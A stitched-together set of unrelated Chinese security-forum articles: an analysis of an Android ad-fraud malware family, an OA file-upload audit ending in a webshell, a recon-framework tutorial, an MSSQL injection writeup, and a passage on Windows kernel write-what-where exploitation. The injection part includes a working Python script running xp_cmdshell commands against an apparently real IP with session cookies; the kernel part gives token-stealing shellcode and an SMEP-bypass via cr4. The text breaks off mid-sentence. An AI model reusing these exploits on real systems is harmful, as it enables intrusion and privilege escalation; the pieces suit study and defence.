一旦安装了此类病毒APP，将被强行推送广告、卸载手机应用、大量下载安装推广软件并造成金钱损失。
### 3) 伪装能力强
病毒以伪装成常用软件（如淘宝、微信）方式，一方面迷惑用户，使用户放松警惕，另一方面这类软件为“装机必备软件”，伪装成此类软件是利用了用户对软件的强需求，使病毒更容易传播。而伪装成系统软件的好处在于其不含图标，用户不易察觉和卸载。
1. 图标和名称伪装常用软件。
2. 伪装系统软件。
### 4) 传播途径广
除了伪装成常用软件和系统软件，该病毒还利用多种途径进行广泛传播，统计显示，病毒通过以下几种类型的APP进行传播：
传播“响尾蝶”病毒的应用类型繁多，令人防不胜防，在此360核心安全团队提醒广大网友，要想手机不中毒，必须养成良好的上网习惯，拒绝安装来路不明的手机软件。
### 5) 利用NDay漏洞提权
分析发现，病毒利用多个NDay漏洞尝试进行提权。通过分析“响尾蝶”病毒的历史版本，其利用的漏洞在持续更新中，并且相关文件置于云端服务器，非常便于进一步更新升级。
## 四、详细分析
“响尾蝶”病毒流程图如下图所示：
### 4.1 APP释放病毒文件
当用户打开这类病毒应用时，自动调用伪装的UMGameAgents类，解密获得一个伪装成图片格式的数据文件的URL：
下载的加密数据文件ic_res_long_test.png（或ic_res.png）是病毒的“源头”，解密后的x.zip包含病毒的所需要的文件。目前版本包含的文件如下：
### 4.2 准备模块
libxbmc.so被应用加载执行ROOT过程：解密数据文件wert，得到xk——开源Root方案android run root
shell，利用多个NDay漏洞尝试提权。
在系统/data/dalvik-cache目录下有很多安装卸载文件（优化过的字节码），这些文件是当安装好一个应用程序后，系统会自动生成的一个优化过的字节码文件，但是卸载某些应用软件后可能对应字节码文件不会同时删除，即残留的垃圾。清理Dalvik缓存时，需要Root权限。
由于该病毒推广的应用非常多，在准备阶段执行脚本cl.sh删除应用缓存、删除指定系统应用（Maps、YouTube），为病毒进行恶意推广清理手机存储空间。
病毒替换系统核心文件install-recovery.sh，实现开机时启动核心ELF文件/system/bin/.xbmc。
### 4.3 ELF核心模块
x.zip释放、应用加载的libxbmc.so，其执行释放.vncs、.xbmc、libqwerts.so 等核心功能文件、部署保护模块，并执行推广模块。
核心ELF文件.vncs执行释放nander_event，nander_event作为守护进程在后台运行，与其它文件进行通信，根据接收的参数命令执行不同功能：
参数命令为keep_on时，执行“响尾蝶”病毒的核心恶意功能：
1. 联网下载/释放保护模块；
b. 检查推广模块的w0.png（com.android.phoneservices），若不存在则下载安装；
c. 对核心文件进行备份，并使用“伪系统文件名称”进行隐藏，肉眼难以辨别。当病毒执行过程中发现文件缺失时，会尝试读取备份文件进行恢复。
libqwerts.so与nander_event通信，发送rapp指令，安装推广模块com.android.settlngs，（x.zip中的数据文件wert部分解密生成的.xk文件），并启动服务com.android.settlngs/com.android.settlngs.SettingsService实现病毒的恶意推广功能。
.xbmc
执行安装HtDaSystemsa.apk，完成推广模块com.android.phoneservices的部署，病毒的APK、ELF文件中的命令字符串、URL大多以加密形式存储，增加分析、检测难度。
### 4.4 恶意推广模块
“响尾蝶”病毒的恶意推广功能主要由两个伪装系统应用的APK实现。伪装的系统文件包名与真实系统应用包名极为相似，难以辨别，例如下图中第一个、第三个为病毒文件，第二个为正常系统文件：
并且此类应用不含图标，用户一般难以察觉。
**1) com.android.phoneservices（HtDaSystemsa.apk）**
不断发送请求到云端，获取推广应用的URL，
返回推广app的URL等信息，
下载后加载asdfqwer.jar进行安装。一旦安装完成，病毒会发送Report信息给服务器，若安装成功，服务器返回下一个推广应用的URL，否则停止进一步推广。
**2)com.android.settlngs**
同样发送请求到云端，获取推广app的URL：
<http://www.w*w.com/LLDownLoadServer/getInfo>
<http://www.z*u.com/LLDownLoadServer/getInfo>
下载安装的推广应用通过私自下载安装软件、频繁弹出广告骚扰用户，诱导用户订购虚无的服务，并通过拦截短信进行扣费来获取巨大利益。下面列表为病毒推广的部分APP：
### 4.5 保护模块
“响尾蝶”病毒隐藏四年且持续活跃的原因在于其具有完整的保护模块，包含多个具有保护功能的文件，相互配合，难以彻底清除。
tt.sh卸载杀软类软件和ROOT类软件，进行“自我保护”，避免被杀软拦截和清除，阻止ROOT权限被其它软件获取。tt.sh会被ELF核心文件每隔5分钟检查更新并执行一次：
.vst.io 每10分钟会启动一次病毒ELF核心文件.xbmc和.vncs。
为了应对母包被卸载，w0-w4.png对应的四个APK负责检查母包的状态，若不存在就立即下载rework.png（即母包APK），并重新安装，使病毒“复活”：
## 五、相关C&C服务器信息
## 六、相关APK列表
## 七、安全建议
360核心安全团队建议，手机上网时，对于来源不明的手机软件、安装包、文件包等不要随意点击下载；不明链接不随意点击；安全性未知的二维码不随意扫描；养成良好的手机使用习惯。同时，建议及时安装更新固件。
目前360全线产品已经支持对“响尾蝶”病毒的全面查杀，如果您担心手机中毒，请及时使用360手机卫士或360手机急救箱进行全面体检。 | 社区文章 |
**前言**
无意中浏览到某小众OA官网且可以下载到源码，随机审计一波，最后成功Getshell，大佬勿喷
**目录结构**
**环境搭建**
WIN11 + PhpStudy(Mysql) + Redis + IDEA(Tomcat 8.0)
将sql文件导入到phpstudy(Mysql)中，同时启动Redis服务，配置好数据库环境
采用白+黑进行审计，从功能点出发，在个人资料处图像可以进行上传
开始抓包进行文件上传，后缀和文件内容均没有做校验，且返回上传的路径和文件名，本以为可以直接getshell，但却无法解析，且该文件并没有落地
**代码审计**
根据数据包的路径(/func/upload/uploadImages)直接搜索路由，成功找到上传函数
首先会对db的值进行判断，根据db的值来决定上传文件的保存方式
初始上传的时候，db=1，而if的GlobalConstant.FILE_UPLOADER_SAVE_FILE=0，故直接进入到else if
新的文件名 = 上传时间 + 10位随机数 + 原始上传文件的后缀名
String extend = FileUtils.getExtend(fileName);// 获取文件扩展名
String noextfilename = DateUtils.getDataString(DateUtils.SDF_YYYYMMDDHHMMSS) + StringUtil.random(10);//自定义文件名称
String myfilename= noextfilename+"."+extend;//自定义文件名称
文件存储在数据库中，并将文件名通过map保存，最后返回在数据包中
db可控，在上传的时候，将db=1改为db=0，进入到if
会创建新的上传目录，新的目录 = Web根目录 + upload + 上传时间（年月日），若不存在则进行新建
String realPath = request.getSession().getServletContext().getRealPath("/") + "/upload/" + strYYYYMMDD + "/";// 文件的硬盘真实路径
String path = "upload/" + strYYYYMMDD + "/";
File file = new File(realPath);
if (!file.exists()) {
file.mkdirs();// 创建根目录
}
新的文件名的命名方式跟else if基本一致，在获取文件的后缀名的时候，并未进行检查和过滤，直接进行拼接，从而造成了文件上传漏洞
最后将上传文件内容直接复制到新创建的文件
FileCopyUtils.copy(mf.getBytes(), savefile);
最后通过map进行存储，且将文件上传路径和文件名分别存储在 filePath、saveName
Map<String, Object> map = new HashMap<String, Object>();
map.put("filePath", GlobalConstant.CONFIG_FILE_SAVE_DB_URL + myfilename);
map.put("saveName", noextfilename);
上传回显的Jsp Webshell，将db在上传的时候改为db=0，成功上传，可执行命令 | 社区文章 |
# 【工具推荐】Intrigue-core：信息收集框架（入选 BlackHat兵工厂）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**Github地址：<https://github.com/intrigueio/intrigue-core> **
**渗透测试的信息收集阶段**
信息收集在渗透测试的过程中起着重要的作用，在这个阶段我们需要尽可能多的收集目标企业的信息。
**一般情况下信息收集的方式主要分为主动收集和被动收集。主动收集的主要方式为爆破、扫描等。被动收集即通过搜索引擎、社交平台、whois查询等方式收集目标企业公开的一些信息。**
两种方法各有优劣，主动收集获得的信息更加详细准确，但由于扫描、爆破是需要与目标网络中的主机通信，会留下踩点的痕迹。被动收集相对隐蔽，但是收集的信息则相对较少。
总之在一次完整的渗透测试中两种方式缺一不可，只有对目标企业的网络信息多次不断的收集，在对方网络环境改变时，才能做到知己知彼，游刃有余。
**信息收集框架的引入**
随着大家信息安全意识的不断提高，以及现代开发框架的广泛应用、CDN、WAF的普及、各大厂商纷纷建立自己的信息安全团队导致现今漏洞出现点、利用方法、利用难易程度，发生了一些变化。
无论你是一个渗透测试人员想毫不费力的拿下目标站点，还是一个白帽子向在更短的时间内发现更多的漏洞，亦或你是一个企业网络的安全负责人。信息收集在工作进程中都起着相当重要的作用。
目标网络的复杂化、安全团队的专业化，如今渗透测试早已不是一个人可以单枪匹马去ko一个项目的了，那么一个多元化的渗透测试团队如何相互协作，在信息收集阶段避免信息冗余、遗漏、重复收集将会是一个至关重要的问题。
本篇文章中，我们将介绍一款开源信息收集框架Intrigue-core，通过Intrigue-core可以更加方便、全面的侦测到目标企业更多的攻击面，可有效将收集到的信息以点线、图表等方式呈现，直观了解到各主机、域名等信息的相关性。
**Intrigue-core**
**通过Docker部署Intrigue-core**
使用docker快速安装intrigue-core，首先你要在你的机器上[[安装docker]](https://docs.docker.com/engine/installation/#docker-variants)
接下来，通过git clone将其从[[git仓库]](https://github.com/intrigueio/intrigue-core)中拉下来
$ git clone https://github.com/intrigueio/intrigue-core
$ cd intrigue-core
$ docker build .
$ docker run -i -t -p 7777:7777
执行完如上命令后将会启动postgres、redis、intrigue-core服务，你将会看到如下输出。
Starting PostgreSQL 9.6 database server [ OK ]
Starting redis-server: redis-server.
Starting intrigue-core processes
[+] Setup initiated!
[+] Generating system password: hwphqlymmpfrqurv
[+] Copying puma config....
[ ] File already exists, skipping: /core/config/puma.rb
* Listening on tcp://0.0.0.0:7777
Use Ctrl-C to stop
**译者注：**
在搭建这个框架的过程中我使用的操作系统是Ubuntu 14.04
x64，安装过程中遇到一些问题，主要是Dockerfile的事，做了一些修改，添加了一些内容，如下图所示：
当它启动时，你可以看到它生成一个密码。你现在可在在你的机器上访问，http://localhost:7777然后通过用户名intrigue和之前随机生成的密码去登陆。
URI: http://localhost:7777
用户名: intrigue
密码: [随机生成，参考上文界面]
现在，尝试一下，创建一个项目：
现在你已经创建了一个新的项目，让我们单独运行一下。
可以看到这里有很多有趣的东西。
我们可以点击任何一个新的按钮，去开始一个新的任务，首先让我们来查一下DNS的解析记录，sip.microsoft.com。点击这里你将看到所有实体的内容，同时当任务运行后，我们可以在所有的dns记录实体中选择其中一个进行查看。
在本案例中，我们可以选择” nmap scan”,然后点击” Run Task”,允许我们使用这个功能。
继续执行，你会发现。
我们可有注意到许多任务都需要api key，这个key可以在”Configure”标签中配置，每一个列表都有一个方便处理的链接，你可以在那配置api key
不要忘记查看“Dossier”和“Graph”，向您展示的所有实体的列表，所有实体节点的图示信息：
哦，点击其中的任意一个节点，你可以查看更多的详细信息！
**通过扫描发现更多的攻击面（实例演示）**
当你看到这个部分，你已经使用[[Docker]](https://intrigue.io/2017/03/07/using-intrigue-core-with-docker/)创建了一个intrigue-core实例，所以本节将通过一个真实场景来介绍intrigue-core的使用方法。首先创建一个新项目，让我们扫描一下Mastercard（他们在[[Bugcrowd]](https://bugcrowd.com/mastercard)上发布了漏洞悬赏计划）：
现在，运行“Create Entity（创建实体）”创建一个名称为“mastercard.com”的DnsRecord（DNS记录）查询任务。
此时，设置递归查询深度为3。这将告诉系统运行所有可行的任务，当一个新的实体创建，递归查询，直到我们达到我们的设置的最大深度：
点击“Run Task（运行任务）”你将看到该实体成功创建：
现在，我们看一下“Results（结果）”选项卡，可以看到“Autoscheduled Tasks”的扫描结果已经在我们眼前呈现：
请注意，每次刷新加载页面时都重新会生成图表，对于部分信息不能正常显示，你可以多刷新几次试试。 还可以放大和缩小以获取节点上的详细信息：
浏览下“Dossier（档案）”，你可以看到，在一些公网业务主机下的一些指纹，这里没有任何入侵行为的，仅仅是页面抓取和分析后的结果：
一个简洁的功能是Core实际上解析Web内容 、包括PDF和其他文件格式，拉出更多的元数据，所有这一切只需几分钟：
**总结**
工欲善其事，必先利其器。一款好用的信息收集框架可以让我们在渗透测试中快速、准确的定位到薄弱环节，实施有针对性的安全测试。
**
**
**参考链接**
[https://github.com/intrigueio/intrigue-core](https://github.com/intrigueio/intrigue-core)
<https://intrigue.io/>
[https://intrigueio.files.wordpress.com/2015/08/slides.pdf](https://intrigueio.files.wordpress.com/2015/08/slides.pdf)
[http://www.freebuf.com/articles/system/58096.html](http://www.freebuf.com/articles/system/58096.html)
[https://www.leavesongs.com/PENETRATION/edusoho-debug-user-information-disclose.html](https://www.leavesongs.com/PENETRATION/edusoho-debug-user-information-disclose.html) | 社区文章 |
# Mssql手工注入执行命令小记
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本次渗透通过某处SQL注入点进行源码分析，并手工利用xp_cmdshell进行了命令执行。
## 初现
在某个晴朗夏日午后，闲来无事想测试，这不，马上就掏出xray扫描到了一个sql注入漏洞，不得不说xray真的挺好用的。该项目方有提供源代码进行代码扫描，这正合我意，下面就来和我一起来跟踪下这个注入是怎么产生的吧。
## 回溯
根据上图可以看出在app类searchLocal接口下的lat参数存在报错注入，项目使用asp.net开发，给予的项目核心源码为dll形式打包，下面使用Dnspy进行dll的反编译工作。
> [dnSpy](https://github.com/0xd4d/dnSpy/releases)是一款针对 .NET
> 程序的逆向工程工具。该项目包含了反编译器，调试器和汇编编辑器等功能组件，而且可以通过自己编写扩展插件的形式轻松实现扩展。该项目使用
> dnlib读取和写入程序集，以便处理有混淆代码的程序（比如恶意程序）而不会崩溃。
点击文件->打开
选中位于bin目录下的所有dll点击打开
这时在程序右侧程序集资源管理器栏出现了反编译的源码，web.dll程序集中包含了Account类和App类的控制器。
在app类控制器中找到了searchLocal方法，该方法直接通过url调用。可以看到在变量fieds中直接使用了{0}{1}占位符拼接了sql语句，其后使用Request方式接收了lng和lat参数后使用Format格式化字符串将变量拼接到了指定占位符处，最后又进行了一次拼接直接执行sql语句导致了sql注入。
本来打算使用使用sqlmap来跑的，但是在跑注入的时候发现由于该注入点比较特殊，而sqlmap的payload都有进行闭合注释操作
当payload传入后端将会直接拼接带入sql语句，这样sql语句的执行就是完全错误的
所以这里我先尝试手工进行sql注入利用xp_cmdshell执行命令。
## 命令执行
根据sql语句进行构造前缀闭合select查询进行堆叠注入
payload前缀为`1))) as km FROM locations；`
使用xp_cmdshell执行命令并查询回显，首先需要创建一个表，将执行的命令结果写入表中，再读取表的字段内容来获得回显。
第一步创建一个表名为A_CMD用于存储执行的命令，payload为`2))) as km FROM locations;create TABLE
A_CMD([Data][varchar](1000),ID int NOT NULL IDENTITY
(1,1));--`，其中关键的语句为`create TABLE A_CMD([Data][varchar](1000),ID int NOT NULL
IDENTITY
(1,1))`，这句sql表示创建一个名为A_CMD的表并创建两个字段Data和ID，类型分别为varchar和int，ID非空并且自动增长。
payload发送成功，我们来使用xp_cmdshell来执行命令并插入A_CMD表，payload为`2))) as km FROM
locations;drop TABLE A_CMD;insert A_CMD exec master.dbo.xp_cmdshell 'whoami'
;--` 使用drop TABLE A_CMD语句在每次命令执行前将表清空来方便查询。
接下来来查询表的行数，可以一行一行读取来获得全部回显。
convert(int,(select char(124)%2bcast(Count(1) as varchar(8000))%2bchar(124) From A_CMD))
返回的结果为4行
未避免查询结果为int导致无报错回显，所以需要在查询结合中使用|字符串包含查询结果来进行报错，这里我们使用convert函数进行报错注入，所以无需闭合前面的select，查询执行结果`convert(int,(select
Top 1 char(124)%2bdata%2bchar(124) From (select Top 1 [ID],[Data] From A_CMD
Order by [ID]) T Order by [ID] desc))`，可以看到命令已经成功执行读取出了数据。
## 编写脚本
下面考虑使用自动化脚本来实现命令执行，主要思路为：
1.创建一个新表A_CMD并执行xp_cmdshell插入执行结果
2.查询表列数，通过正则匹配列数。
3.根据匹配到的列数遍历指定表，最后再使用正则将执行的结果获取出来。
import requests
import re
class SQLserverExec():
def __init__(self):
#通过该组合SQL语句创建一个新表A_CMD并执行xp_cmdshell插入执行结果
self.exec_payload='2))) as km FROM locations;drop TABLE A_CMD; create TABLE A_CMD([Data][varchar](1000),ID int NOT NULL IDENTITY (1,1));insert A_CMD exec master.dbo.xp_cmdshell \'{0}\' ;--'
#通过该组合SQL语句查询表列数
self.exec_line_payload="convert(int,(select char(124)+cast(Count(1) as varchar(8000))+char(124) From A_CMD))"
#通过该组合SQL语句根据列数遍历表查询内容
self.select_data="convert(int,(select Top 1 char(124)+data+char(124) From (select Top {0} [ID],[Data] From A_CMD Order by [ID]) T Order by [ID] desc))"
#设置cookie
self.cookie={'TY_SESSION_ID':'75c5187d-994f-41f1-b3ed-b77d66e25225','ASP.NET_SessionId':'yhxdx5qdfrrbqu52mbprt1pa'}
def Getlines(self,command): #创建新表插入命令结果返回列数
res=requests.post("http://39.100.85.166:8003/app/searchLocal/",data={"lng":116.58,'lat':self.exec_payload.format(command)},cookies=self.cookie)
line_res=requests.post("http://39.100.85.166:8003/app/searchLocal/",data={"lng":116.58,'lat':self.exec_line_payload},cookies=self.cookie)
line=int(re.search('\|([\s\S]*?)\|',line_res.text).group(1))
return line
def ExecCommand(self,command): #跟据列数循环读取内容
result =''
for b in range(0,self.Getlines(command)):
res=requests.post("http://39.100.85.166:8003/app/searchLocal/",data={"lng":116.58,'lat':self.select_data.format(b+1)},cookies=self.cookie)
data=re.search('<!--[\s\S]*?\|([\s\S]*?)\|',res.text)
if data is not None:
result += data.group(1)+'\n' #对获取到的每行内容输出时做格式化换行处理方便阅读
return result
A=SQLserverExec()
print(A.ExecCommand('ipconfig'))
可以看到命令成功执行
## 使用SQLmap自动化注入
由于注入点的特殊性，所以我们需要构造一个sqlmap的标准注入环境，在闭合select查询后我们可以再构造一个条件，来实现模拟条件注入。最终payload
2))) as km FROM locations where id=1
使用—prefix参数来添加注入前缀，这样sqlmap的payload就可以以普通的条件查询来进行注入了。
sqlmap.py -u "http://xxx.xx/app/searchLocal/" -p "lat" --random-agent --data="lng=116.58&lat=2" --dbms=mssqlserver --cookie="TY_SESSION_ID=75c5187d-994f-41f1-b3ed-b77d66e25225; ASP.NET_SessionId=yhxdx5qdfrrbqu52mbprt1pa" --prefix="2))) as km FROM locations where id=1" --dbs
## 后记
本次渗透其实经过了很多的试错最后才达到了这个结果，所以说看似简单的渗透过程其中可能包含了各种各样的难点痛点，而这些难点痛点介于篇幅等其他原因不能一一列举出来，重要的不是结果，而是这个试错的过程，只有不断地试错才能不断的成长。 | 社区文章 |
# 0x00：前言
本篇文章分为上下篇，主要分享HEVD这个Windows内核漏洞训练项目中的Write-What-Where漏洞在win7 x64到win10 x64
1605的一个爬坑过程，Windows内核漏洞的原理比较简单，关键点在于exp的编写，这里我从win7 x64开始说起，看此文章之前你需要有以下准备：
* Windows相应版本的虚拟机
* 配置好windbg等调试工具，建议配合VirtualKD使用
* 虚拟机打上相应版本的补丁
如果你不是很清楚这个漏洞的基本原理的话，你可以从我的[另一篇文章](https://xz.aliyun.com/t/5615)了解到这个漏洞的原理以及在win
7 x86下的利用，我这里就不多加赘述了
# 0x01：Windows 7 x64利用
让我们简单回顾一下在Windows 7 x86下我们利用的利用思路和关键代码，全部的代码参考 =>
[这里](https://github.com/ThunderJie/Windows-Kernel-Exploit/blob/master/HEVD/ArbitraryOverwrite/ArbitraryOverwrite/test.c)
**利用思路**
* 初始化句柄等结构
* 计算我们需要Hook的地址`HalDispatchTable+0x4`
* 调用`TriggerArbitraryOverwrite`函数将`shellcode`地址放入Hook地址
* 调用`NtQueryIntervalProfile`函数触发漏洞
* 调用cmd验证提权结果
**关键代码**
计算Hook地址
DWORD32 GetHalOffset_4()
{
// ntkrnlpa.exe in kernel space base address
PVOID pNtkrnlpaBase = NtkrnlpaBase();
printf("[+]ntkrnlpa base address is 0x%p\n", pNtkrnlpaBase);
// ntkrnlpa.exe in user space base address
HMODULE hUserSpaceBase = LoadLibrary("ntkrnlpa.exe");
// HalDispatchTable in user space address
PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");
DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4;
printf("[+]HalDispatchTable+0x4 is 0x%p\n", hal_4);
return (DWORD32)hal_4;
}
调用问题函数执行shellcode
NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryIntervalProfile");
printf("[+]NtQueryIntervalProfile address is 0x%x\n", NtQueryIntervalProfile);
NtQueryIntervalProfile(0x1337, &interVal);
众所周知Windows 7
x64是64位的，所以我们很快的就可以想到和32位的不同，所以我们在32位的基础上只需要改一下长度应该就可以拿到system权限了，实际上还是有很多坑的，这里我分享几个我遇到的坑，第一个就是我们的shellcode需要修改，因为是64位，所以偏移都会有改变，但是原理是不会变的
* 当前线程中找到`_KTHREAD`结构体
* 找到`_EPROCESS`结构体
* 找到当前线程的token
* 循环便利链表找到system系统的token
* 替换token
mov rax, gs:[188h]
mov rax, [rax+210h]
mov rcx, rax
mov rdx, 4
findSystemPid:
mov rax, [rax+188h]
sub rax, 188h
cmp [rax+180h], rdx
jnz findSystemPid
mov rdx, [rax+0208h]
mov [rcx+0208h], rdx
ret
**Shellcode在64位下的编译**
首先第一个就是shellcode如何放置在64位的编译环境下，如果是像32位那样直接在代码中嵌入汇编是行不通的，这里我们需要以下几步来嵌入汇编代码(我使用的环境是VS2019，当然以前的版本也可以)
1.项目源文件中多创建一个ShellCode.asm文件，放入我们的shellcode
.code
ShellCode proc
mov rax, gs:[188h]
mov rax, [rax+210h]
mov rcx, rax
mov rdx, 4
findSystemPid:
mov rax, [rax+188h]
sub rax, 188h
cmp [rax+180h], rdx
jnz findSystemPid
mov rdx, [rax+0208h]
mov [rcx+0208h], rdx
ret
ShellCode endp
end
2.右键ShellCode.asm文件，点击属性，生成中排除选择否，项类型选择自定义生成工具
3.在自定义工具里面的命令行和输出填写如下内容
ml64 /c %(filename).asm
%(filename).obj;%(outputs)
4.在ShellCode.h中申明如下内容，然后在主利用函数中引用即可
#pragma once
void ShellCode();
**shellcode的放置**
第二个坑就是shellcode的放置，在x86中我们是如下方法实现shellcode的放置
VOID Trigger_shellcode(DWORD32 where, DWORD32 what)
{
WRITE_WHAT_WHERE exploit;
DWORD lpbReturn = 0;
exploit.Where = (PVOID)where;
exploit.What = (PVOID)& what;
printf("[+]Write at 0x%p\n", where);
printf("[+]Write with 0x%p\n", what);
printf("[+]Start to trigger...\n");
DeviceIoControl(hDevice,
0x22200B,
&exploit,
sizeof(WRITE_WHAT_WHERE),
NULL,
0,
&lpbReturn,
NULL);
printf("[+]Success to trigger...\n");
}
因为我们现在是`qword`而不是`dword`，也就是说我们需要调用两次才能将我们的地址完全写进去，所以构造出如下的片段
VOID Trigger_shellcode(UINT64 where, UINT64 what)
{
WRITE_WHAT_WHERE exploitlow;
WRITE_WHAT_WHERE exploithigh;
DWORD lpbReturn = 0;
UINT32 lowValue = what;
UINT32 highvalue = (what >> 0x20);
exploitlow.What = (PULONG_PTR)& what;
exploitlow.Where = (PULONG_PTR)where;
printf("[+]Start to trigger ");
DeviceIoControl(hDevice,
0x22200B,
&exploitlow,
0x10,
NULL,
0,
&lpbReturn,
NULL);
exploithigh.What = (PULONG_PTR)& highvalue;
exploithigh.Where = (PULONG_PTR)(where + 0x4);
DeviceIoControl(hDevice,
0x22200B,
&exploithigh,
0x10,
NULL,
0,
&lpbReturn,
NULL);
printf("=> done!\n");
}
最后整合一下代码即可实现利用，整体代码和验证结果参考 => [这里](https://github.com/ThunderJie/Write-What-Where)
# 0x02：Windows 8.1 x64利用
好了win7我们已经完成了利用，我们开始研究win8下的利用，首先我们需要了解一些win8的安全机制，我们拿在win7
x64下的exp直接拖入win8运行观察会发生什么，果不其然蓝屏了，我们查看一下在windbg中的分析
*** Fatal System Error: 0x000000fc
(0x00007FF6F3B31400,0x1670000089B30025,0xFFFFD000210577E0,0x0000000080000005)
Break instruction exception - code 80000003 (first chance)
...
0: kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY (fc) // 关注点
An attempt was made to execute non-executable memory. The guilty driver
is on the stack trace (and is typically the current instruction pointer).
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: 00007ff6f3b31400, Virtual address for the attempted execute.
Arg2: 1670000089b30025, PTE contents.
Arg3: ffffd000210577e0, (reserved)
Arg4: 0000000080000005, (reserved)
windbg中提示`ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY`这个错误，我们解读一下这句话，企图执行不可执行的内存，等等，这不就是我们pwn中的NX保护吗
## SMEP
我们详细来了解一下这个保护机制，SMEP保护开启的时候我们用户层的代码不能在内核层中执行，也就是说我们的shellcode不能得到执行
这个时候我们回想一下绕过NX的方法，瞬间就想到了ROP，那么我们现在是要拿ROP帮我们做哪些事情呢？我们看下面这张图，可以看到我们的SMEP标志位在第20位，也就是说我们只需要将cr4寄存器修改为关闭SMEP的状态即可运行我们的shellcode了
## ROPgadgets
我们来查看一下我们的cr4寄存器的运行在我的环境下触发漏洞前后的对比
.formats 00000000001506f8 // 开启
Binary: 00000000 00000000 00000000 00000000 00000000 0001 0101 00000110 11111000
.formats 0x406f8 // 关闭
Binary: 00000000 00000000 00000000 00000000 00000000 0000 0100 00000110 11111000
也就是说我们只需要将cr4修改为0x406f8即可在内核运行我们的shellcode从而提权，那么如何选择我们的ROP呢，我们来观察以下代码片段，可以看到里可以通过rax来修改cr4，那么问题就简单了，我们只需要把rax设为0x406f8不就行了吗，ROPgadgets的计算我们可以通过偏移来查找，首先我们通过前面的知识计算出内核基地址，然后在windbg中用u命令查看`KiConfigureDynamicProcessor+0x40`的地址，我们用该地址减去基地址即可得到偏移，有了偏移我们加上基地址就可以得到我们ROPgadgets的位置了
1: kd> u KiConfigureDynamicProcessor+0x40
nt!KiConfigureDynamicProcessor+0x40:
fffff803`20ffe7cc 0f22e0 mov cr4,rax
fffff803`20ffe7cf 4883c428 add rsp,28h
fffff803`20ffe7d3 c3 ret
让我们再次看看我们在win7利用中如何进行Hook的，我们是直接把`Hal_hook_address`替换为ShellCode的地址
Trigger_shellcode(Hal_hook_address,(UINT64)&ShellCode);
NtQueryIntervalProfile(0x1234, &interVal);
我们想要做的是把`Hal_hook_address`先替换为我们的ROP，修改了cr4寄存器之后再执行我们的shellcode，这就需要进行多次读写的操作，显然光靠一个`Trigger_shellcode`是不够的，这里隆重介绍我们的
BITMAP 对象，这个对象在Windows 8.1中可谓是一个必杀技，用好它可以实现任意读和任意写
## BITMAP对象
首先我们需要了解一下这个对象的大致信息，我们直接用`CreateBitmap`函数创建一个对象然后下断点进行观察，函数原型如下
HBITMAP CreateBitmap(
_In_ int nWidth,
_In_ int nHeight,
_In_ UINT cPlanes,
_In_ UINT cBitsPerPel,
_In_ const VOID *lpvBits
);
我们构造如下代码
int main()
{
HBITMAP hBitmap = CreateBitmap(0x10, 2, 1, 8, NULL);
__debugbreak();
return 0;
}
这里我们需要用`GdiSharedHadnleTable`这个句柄表来泄露我们`hBitmap`的地址，先不用管原理是什么，总之我们现在先找到我们Bitmap的位置，可以看到我们通过一系列操作居然找到了我们的Bitmap，其分配在会话池，大小是0x370
1: kd> r
rax=000000007d050040 rbx=00000043e8613860 rcx=00007ffea6a934fa
rdx=0000000000000000 rsi=0000000000000000 rdi=00000043e8617d50
rip=00007ff7468c1033 rsp=00000043e858f8c0 rbp=0000000000000000
r8=00000043e858f8b8 r9=0000000000000000 r10=0000000000000000
r11=0000000000000246 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
WWW!main+0x23:
0033:00007ff7`468c1033 cc int 3
1: kd> dt ntdll!_PEB -b GdiSharedHandleTable @$Peb
+0x0f8 GdiSharedHandleTable : 0x00000043`e8920000
1: kd> ? rax&ffff
Evaluate expression: 64 = 00000000`00000040
1: kd> ? 0x00000043`e8920000+40*18
Evaluate expression: 291664692736 = 00000043`e8920600
1: kd> dq 00000043`e8920600
00000043`e8920600 fffff901`43c3dca0 40057d05`000008f4
00000043`e8920610 00000000`00000000 fffff901`400c2ca0
00000043`e8920620 40050405`00000000 00000000`00000000
00000043`e8920630 fffff901`43c5ed60 40080508`00000000
00000043`e8920640 00000000`00000000 fffff901`43d0d000
00000043`e8920650 40050505`00000000 00000000`00000000
00000043`e8920660 fffff901`43d0b000 40050305`00000000
00000043`e8920670 00000000`00000000 fffff901`43cb9d40
1: kd> !pool fffff901`43c3dca0
unable to get nt!ExpHeapBackedPoolEnabledState
Pool page fffff90143c3dca0 region is Paged session pool
fffff90143c3d000 size: 9f0 previous size: 0 (Allocated) Gla1
fffff90143c3d9f0 size: 90 previous size: 9f0 (Allocated) DCba Process: ffffe00002475080
fffff90143c3da80 size: 50 previous size: 90 (Free) Free
fffff90143c3dad0 size: a0 previous size: 50 (Allocated) Usqm
fffff90143c3db70 size: 30 previous size: a0 (Allocated) Uspi Process: ffffe00002b83900
fffff90143c3dba0 size: f0 previous size: 30 (Allocated) Gla8
*fffff90143c3dc90 size: 370 previous size: f0 (Allocated) *Gla5
Pooltag Gla5 : GDITAG_HMGR_LOOKASIDE_SURF_TYPE, Binary : win32k.sys
让我们理一下这个过程，首先从命令中我们知道`GdiSharedHandleTable`是在PEB中，而`GdiSharedHandleTable`本身是一个保存GDI对象的句柄表，其指向的是一个叫`GDICELL64`的结构，其大小是0x18：
typedef struct{
PVOID pKernelAddress;
USHORT wProcessID;
USHORT wCount;
USHORT wUpper;
PVOID wType;
PVOID64 pUserAddress;
} GDICELL64;
从上面我们可以看到它可以泄露我们内核中的地址，过程就是先计算出函数返回值(rax)的低4字节作为索引，然后乘上`GDICELL64`的大小0x18，再加上`GdiSharedHandleTable`的地址即可得到我们Bitmap的地址，换成代码实现就是
* 首先找到我们的TEB
